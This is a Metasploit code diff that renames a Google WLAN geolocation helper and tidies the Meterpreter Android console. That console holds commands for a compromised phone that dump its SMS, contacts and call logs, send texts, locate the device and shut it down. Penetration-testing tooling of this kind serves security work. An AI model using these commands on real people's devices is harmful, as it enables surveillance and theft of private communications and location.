diff --git a/lib/rex/google/geolocation.rb b/lib/rex/google/geolocation.rb new file mode 100755 index 0000000000..3afc328ddf --- /dev/null +++ b/lib/rex/google/geolocation.rb @@ -0,0 +1,68 @@ +#!/usr/bin/env ruby + +require 'net/http' +require 'json' + +module Rex + module Google + # @example + # g = Rex::Google::Geolocation.new + # g.add_wlan("00:11:22:33:44:55", "example", -80) + # g.fetch! + # puts g, g.google_maps_url + class Geolocation + GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" + + attr_accessor :accuracy + attr_accessor :latitude + attr_accessor :longitude + + def initialize + @uri = URI.parse(URI.encode(GOOGLE_API_URI)) + @wlan_list = [] + end + + # Ask Google's Maps API for the location of a given set of BSSIDs (MAC + # addresses of access points), ESSIDs (AP names), and signal strengths. + def fetch! + @uri.query << @wlan_list.take(10).join("&wifi=") + request = Net::HTTP::Get.new(@uri.request_uri) + http = Net::HTTP.new(@uri.host, @uri.port) + http.use_ssl = true + response = http.request(request) + + if response && response.code == '200' + results = JSON.parse(response.body) + self.latitude = results["location"]["lat"] + self.longitude = results["location"]["lng"] + self.accuracy = results["accuracy"] + else + msg = "Failure connecting to Google for location lookup." + msg += " Code #{response.code} for query #{@uri}" if response + fail msg + end + end + + # Add an AP to the list to send to Google when {#fetch!} is called. + # + # Turns out Google's API doesn't really care about ESSID or signal strength + # as long as you have BSSIDs. Presumably adding them will make it more + # accurate? Who knows. + # + # @param mac [String] in the form "00:11:22:33:44:55" + # @param ssid [String] ESSID associated with the mac + # @param signal_strength [String] a thing like + def add_wlan(mac, ssid = nil, signal_strength = nil) + @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}")) + end + + def google_maps_url + "https://maps.google.com/?q=#{latitude},#{longitude}" + end + + def to_s + "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." + end + end + end +end diff --git a/lib/rex/google_geolocation.rb b/lib/rex/google_geolocation.rb deleted file mode 100755 index 62597c1012..0000000000 --- a/lib/rex/google_geolocation.rb +++ /dev/null @@ -1,66 +0,0 @@ -#!/usr/bin/env ruby - -require 'net/http' -require 'json' - -module Rex - # @example - # g = GoogleGeolocation.new - # g.add_wlan("00:11:22:33:44:55", "example", -80) - # g.fetch! - # puts g, g.google_maps_url - class GoogleGeolocation - GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" - - attr_accessor :accuracy - attr_accessor :latitude - attr_accessor :longitude - - def initialize - @uri = URI.parse(URI.encode(GOOGLE_API_URI)) - @wlan_list = [] - end - - # Ask Google's Maps API for the location of a given set of BSSIDs (MAC - # addresses of access points), ESSIDs (AP names), and signal strengths. - def fetch! - @uri.query << @wlan_list.take(10).join("&wifi=") - request = Net::HTTP::Get.new(@uri.request_uri) - http = Net::HTTP.new(@uri.host, @uri.port) - http.use_ssl = true - response = http.request(request) - - if response && response.code == '200' - results = JSON.parse(response.body) - self.latitude = results["location"]["lat"] - self.longitude = results["location"]["lng"] - self.accuracy = results["accuracy"] - else - msg = "Failure connecting to Google for location lookup." - msg += " Code #{response.code} for query #{@uri.to_s}" if response - fail msg - end - end - - # Add an AP to the list to send to Google when {#fetch!} is called. - # - # Turns out Google's API doesn't really care about ESSID or signal strength - # as long as you have BSSIDs. Presumably adding them will make it more - # accurate? Who knows. - # - # @param mac [String] in the form "00:11:22:33:44:55" - # @param ssid [String] ESSID associated with the mac - # @param signal_strength [String] a thing like - def add_wlan(mac, ssid = nil, signal_strength = nil) - @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}")) - end - - def google_maps_url - "https://maps.google.com/?q=#{latitude},#{longitude}" - end - - def to_s - "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." - end - end -end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index 8a40c0ef04..7891523682 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -1,18 +1,16 @@ # -*- coding: binary -*- require 'rex/post/meterpreter' require 'msf/core/auxiliary/report' -require 'rex/google_geolocation' +require 'rex/google/geolocation' module Rex module Post module Meterpreter module Ui - ### # Android extension - set of commands to be executed on android devices. # extension by Anwar Mohamed (@anwarelmakrahy) ### - class Console::CommandDispatcher::Android include Console::CommandDispatcher include Msf::Auxiliary::Report @@ -28,8 +26,8 @@ class Console::CommandDispatcher::Android 'dump_calllog' => 'Get call log', 'check_root' => 'Check if device is rooted', 'device_shutdown' => 'Shutdown device', - 'send_sms' => 'Sends SMS from target session', - 'wlan_geolocate' => 'Get current lat-long using WLAN information', + 'send_sms' => 'Sends SMS from target session', + 'wlan_geolocate' => 'Get current lat-long using WLAN information' } reqs = { @@ -39,25 +37,24 @@ class Console::CommandDispatcher::Android 'dump_calllog' => [ 'dump_calllog' ], 'check_root' => [ 'check_root' ], 'device_shutdown' => [ 'device_shutdown'], - 'send_sms' => [ 'send_sms' ], - 'wlan_geolocate' => [ 'wlan_geolocate' ] + 'send_sms' => [ 'send_sms' ], + 'wlan_geolocate' => [ 'wlan_geolocate' ] } # Ensure any requirements of the command are met - all.delete_if do |cmd, desc| - reqs[cmd].any? { |req| not client.commands.include?(req) } + all.delete_if do |cmd, _desc| + reqs[cmd].any? { |req| !client.commands.include?(req) } end end def cmd_device_shutdown(*args) - seconds = 0 device_shutdown_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-t' => [ false, 'Shutdown after n seconds'] ) - device_shutdown_opts.parse(args) { | opt, idx, val | + device_shutdown_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: device_shutdown [options]') @@ -67,26 +64,25 @@ class Console::CommandDispatcher::Android when '-t' seconds = val.to_i end - } + end res = client.android.device_shutdown(seconds) if res - print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}") + print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}") else print_error('Device shutdown failed') end end - - def cmd_dump_sms(*args) + def cmd_dump_sms(*args) path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_sms_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], - '-o' => [ false, 'Output path for sms list'] + '-h' => [ false, 'Help Banner' ], + '-o' => [ false, 'Output path for sms list'] ) - dump_sms_opts.parse(args) { | opt, idx, val | + dump_sms_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_sms [options]') @@ -96,19 +92,18 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end - smsList = [] - smsList = client.android.dump_sms + sms_list = client.android.dump_sms - if smsList.count > 0 - print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}") + if sms_list.count > 0 + print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}") begin info = client.sys.config.sysinfo data = "" data << "\n=====================\n" - data << "[+] Sms messages dump\n" + data << "[+] SMS messages dump\n" data << "=====================\n\n" time = Time.new @@ -117,8 +112,7 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - smsList.each_with_index { |a, index| - + sms_list.each_with_index do |a, index| data << "##{index.to_i + 1}\n" type = 'Unknown' @@ -152,14 +146,14 @@ class Console::CommandDispatcher::Android data << "Address\t: #{a['address']}\n" data << "Status\t: #{status}\n" data << "Message\t: #{a['body']}\n\n" - } + end ::File.write(path, data) - print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}") + print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}") return true rescue - print_error("Error getting messages: #{$!}") + print_error("Error getting messages: #{$ERROR_INFO}") return false end else @@ -168,18 +162,15 @@ class Console::CommandDispatcher::Android end end - def cmd_dump_contacts(*args) - path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" - dump_contacts_opts = Rex::Parser::Arguments.new( + dump_contacts_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], '-o' => [ false, 'Output path for contacts list'] - ) - dump_contacts_opts.parse(args) { | opt, idx, val | + dump_contacts_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_contacts [options]') @@ -189,13 +180,12 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end - contactList = [] - contactList = client.android.dump_contacts + contact_list = client.android.dump_contacts - if contactList.count > 0 - print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list") + if contact_list.count > 0 + print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list") begin info = client.sys.config.sysinfo @@ -210,32 +200,28 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - contactList.each_with_index { |c, index| + contact_list.each_with_index do |c, index| data << "##{index.to_i + 1}\n" data << "Name\t: #{c['name']}\n" - if c['number'].count > 0 - (c['number']).each { |n| - data << "Number\t: #{n}\n" - } + c['number'].each do |n| + data << "Number\t: #{n}\n" end - if c['email'].count > 0 - (c['email']).each { |n| - data << "Email\t: #{n}\n" - } + c['email'].each do |n| + data << "Email\t: #{n}\n" end data << "\n" - } - + end + ::File.write(path, data) print_status("Contacts list saved to: #{path}") return true rescue - print_error("Error getting contacts list: #{$!}") + print_error("Error getting contacts list: #{$ERROR_INFO}") return false end else @@ -248,13 +234,11 @@ class Console::CommandDispatcher::Android generate_map = false geolocate_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], '-g' => [ false, 'Generate map using google-maps'] - ) - geolocate_opts.parse(args) { | opt, idx, val | + geolocate_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: geolocate [options]') @@ -264,7 +248,7 @@ class Console::CommandDispatcher::Android when '-g' generate_map = true end - } + end geo = client.android.geolocate @@ -283,7 +267,6 @@ class Console::CommandDispatcher::Android end def cmd_dump_calllog(*args) - path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_calllog_opts = Rex::Parser::Arguments.new( @@ -292,7 +275,7 @@ class Console::CommandDispatcher::Android ) - dump_calllog_opts.parse(args) { | opt, idx, val | + dump_calllog_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: dump_calllog [options]') @@ -302,12 +285,12 @@ class Console::CommandDispatcher::Android when '-o' path = val end - } + end log = client.android.dump_calllog if log.count > 0 - print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}") + print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}") begin info = client.sys.config.sysinfo @@ -322,23 +305,21 @@ class Console::CommandDispatcher::Android data << "Remote IP: #{client.sock.peerhost}\n" data << "Remote Port: #{client.sock.peerport}\n\n" - log.each_with_index { |a, index| - + log.each_with_index do |a, index| data << "##{index.to_i + 1}\n" - data << "Number\t: #{a['number']}\n" data << "Name\t: #{a['name']}\n" data << "Date\t: #{a['date']}\n" data << "Type\t: #{a['type']}\n" data << "Duration: #{a['duration']}\n\n" - } + end ::File.write(path, data) print_status("Call log saved to #{path}") return true rescue - print_error("Error getting call log: #{$!}") + print_error("Error getting call log: #{$ERROR_INFO}") return false end else @@ -347,15 +328,13 @@ class Console::CommandDispatcher::Android end end - - def cmd_check_root(*args) check_root_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ] ) - check_root_opts.parse(args) { | opt, idx, val | + check_root_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: check_root [options]') @@ -363,13 +342,13 @@ class Console::CommandDispatcher::Android print_line(check_root_opts.usage) return end - } + end is_rooted = client.android.check_root if is_rooted print_good('Device is rooted') - elsif + else print_status('Device is not rooted') end end @@ -381,10 +360,12 @@ class Console::CommandDispatcher::Android '-t' => [ true, 'SMS body text' ], '-dr' => [ false, 'Wait for delivery report' ] ) - dest='' - body='' - dr=false - send_sms_opts.parse(args) { | opt, idx, val | + + dest = '' + body = '' + dr = false + + send_sms_opts.parse(args) do |opt, _idx, val| case opt when '-h' print_line('Usage: send_sms -d -t ') @@ -392,48 +373,48 @@ class Console::CommandDispatcher::Android print_line(send_sms_opts.usage) return when '-d' - dest=val + dest = val when '-t' - body=val + body = val when '-dr' - dr=true + dr = true end - } - if (dest.blank? or body.blank?) - print_error("You must enter both a destination address -d and the SMS text body -t") - print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') - print_line(send_sms_opts.usage) - return end - sent=client.android.send_sms(dest,body,dr) - if (dr) - if (sent[0]=="Transmission successful") - print_good("SMS sent - #{sent[0]}") + if dest.blank? || body.blank? + print_error("You must enter both a destination address -d and the SMS text body -t") + print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') + print_line(send_sms_opts.usage) + return + end + + sent = client.android.send_sms(dest, body, dr) + if dr + if sent[0] == "Transmission successful" + print_good("SMS sent - #{sent[0]}") else - print_error("SMS send failed - #{sent[0]}") + print_error("SMS send failed - #{sent[0]}") end - if (sent[1]=="Transmission successful") - print_good("SMS delivered - #{sent[1]}") + if sent[1] == "Transmission successful" + print_good("SMS delivered - #{sent[1]}") else - print_error("SMS delivery failed - #{sent[1]}") + print_error("SMS delivery failed - #{sent[1]}") end else - if (sent=="Transmission successful") - print_good("SMS sent - #{sent}") + if sent == "Transmission successful" + print_good("SMS sent - #{sent}") else - print_error("SMS send failed - #{sent}") + print_error("SMS send failed - #{sent}") end end end def cmd_wlan_geolocate(*args) - wlan_geolocate_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ] ) - wlan_geolocate_opts.parse(args) { | opt, idx, val | + wlan_geolocate_opts.parse(args) do |opt, _idx, _val| case opt when '-h' print_line('Usage: wlan_geolocate') @@ -441,23 +422,22 @@ class Console::CommandDispatcher::Android print_line(wlan_geolocate_opts.usage) return end - } + end log = client.android.wlan_geolocate - wlan_list=[] - wlan_str="" - log.each{|x| - mac=x['bssid'] - ssid=x['ssid'] - ss=x['level'] - wlan_list << [mac,ssid,ss.to_s] - } + wlan_list = [] + log.each do |x| + mac = x['bssid'] + ssid = x['ssid'] + ss = x['level'] + wlan_list << [mac, ssid, ss.to_s] + end if wlan_list.blank? print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end - g = Rex::GoogleGeolocation.new + g = Rex::Google::Geolocation.new wlan_list.each do |wlan| g.add_wlan(*wlan) @@ -470,21 +450,15 @@ class Console::CommandDispatcher::Android print_status(g.to_s) print_status("Google Maps URL: #{g.google_maps_url}") end - - end - - # # Name for this dispatcher # def name 'Android' end - -end - +end end end end diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index 1c9d7d2f84..61709e327b 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'rex' -require 'rex/google_geolocation' +require 'rex/google/geolocation' class Metasploit3 < Msf::Post @@ -84,12 +84,11 @@ class Metasploit3 < Msf::Post end def perform_geolocation(wlan_list) - if wlan_list.blank? print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end - g = Rex::GoogleGeolocation.new + g = Rex::Google::Geolocation.new wlan_list.each do |wlan| g.add_wlan(*wlan) diff --git a/tools/google_geolocate_bssid.rb b/tools/google_geolocate_bssid.rb index 20b532cbce..1c93b47150 100755 --- a/tools/google_geolocate_bssid.rb +++ b/tools/google_geolocate_bssid.rb @@ -9,7 +9,7 @@ while File.symlink?(msfbase) end $LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'rex/google_geolocation' +require 'rex/google/geolocation' require 'optparse' if ARGV.empty? @@ -21,7 +21,7 @@ if ARGV.empty? exit(1) end -g = Rex::GoogleGeolocation.new +g = Rex::Google::Geolocation.new ARGV.each do |mac| g.add_wlan(mac, nil, -83) end